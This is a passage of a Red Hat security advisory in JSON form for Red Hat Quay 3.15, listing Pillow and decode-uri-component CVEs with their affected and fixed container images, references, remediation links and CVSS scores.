            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "decode-uri-component: decode-uri-component: Denial of Service via crafted input"
    },
    {
      "cve": "CVE-2026-54058",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "discovery_date": "2026-07-14T17:02:34.864708+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500057"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow prior to 12.3.0. When an uncompressed McIdas AREA image is loaded from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width. Pixel access such as Image.tobytes(), getpixel, convert, or save can then read beyond the mapped region, disclosing adjacent process memory or causing a fault.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "Pillow: Pillow: Memory disclosure or denial of service via crafted McIdas AREA image",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Pillow is vulnerable to an out-of-bounds read when processing a crafted uncompressed McIdas AREA image via the mmap raw codec. A remote attacker who can supply such an image to a service that loads it without user interaction may disclose adjacent process memory or trigger a denial of service. Fixed in Pillow 12.3.0.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-54058"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500057",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500057"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-54058",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-54058",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54058"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d",
          "url": "https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/pull/9719",
          "url": "https://github.com/python-pillow/Pillow/pull/9719"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0",
          "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93"
        }
      ],
      "release_date": "2026-07-14T16:27:38.050000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "Pillow: Pillow: Memory disclosure or denial of service via crafted McIdas AREA image"
    },
    {
      "cve": "CVE-2026-54060",
      "cwe": {
        "id": "CWE-1050",
        "name": "Excessive Platform Resource Consumption within a Loop"
      },
      "discovery_date": "2026-07-06T20:02:29.509113+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2497466"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow, a Python imaging library. When processing a specially crafted font file, the library\u0027s font compilation function does not adequately check for excessive memory allocation. This oversight allows a remote attacker to trigger an unreasonable consumption of system memory, leading to a denial of service (DoS) for the application.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A flaw was found in Pillow prior to version 12.3.0. The FontFile.compile() method in PIL/FontFile.py assembles per-glyph images into a combined bitmap using Image.new() without calling Image._decompression_bomb_check(). This allows a specially crafted font file to trigger excessive memory allocation during conversion or saving, leading to denial of service via resource exhaustion.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-54060"
        },
        {
          "category": "external",
          "summary": "RHBZ#2497466",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2497466"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-54060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-54060",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54060"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst",
          "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d",
          "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"
        }
      ],
      "release_date": "2026-07-06T18:49:23.788000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
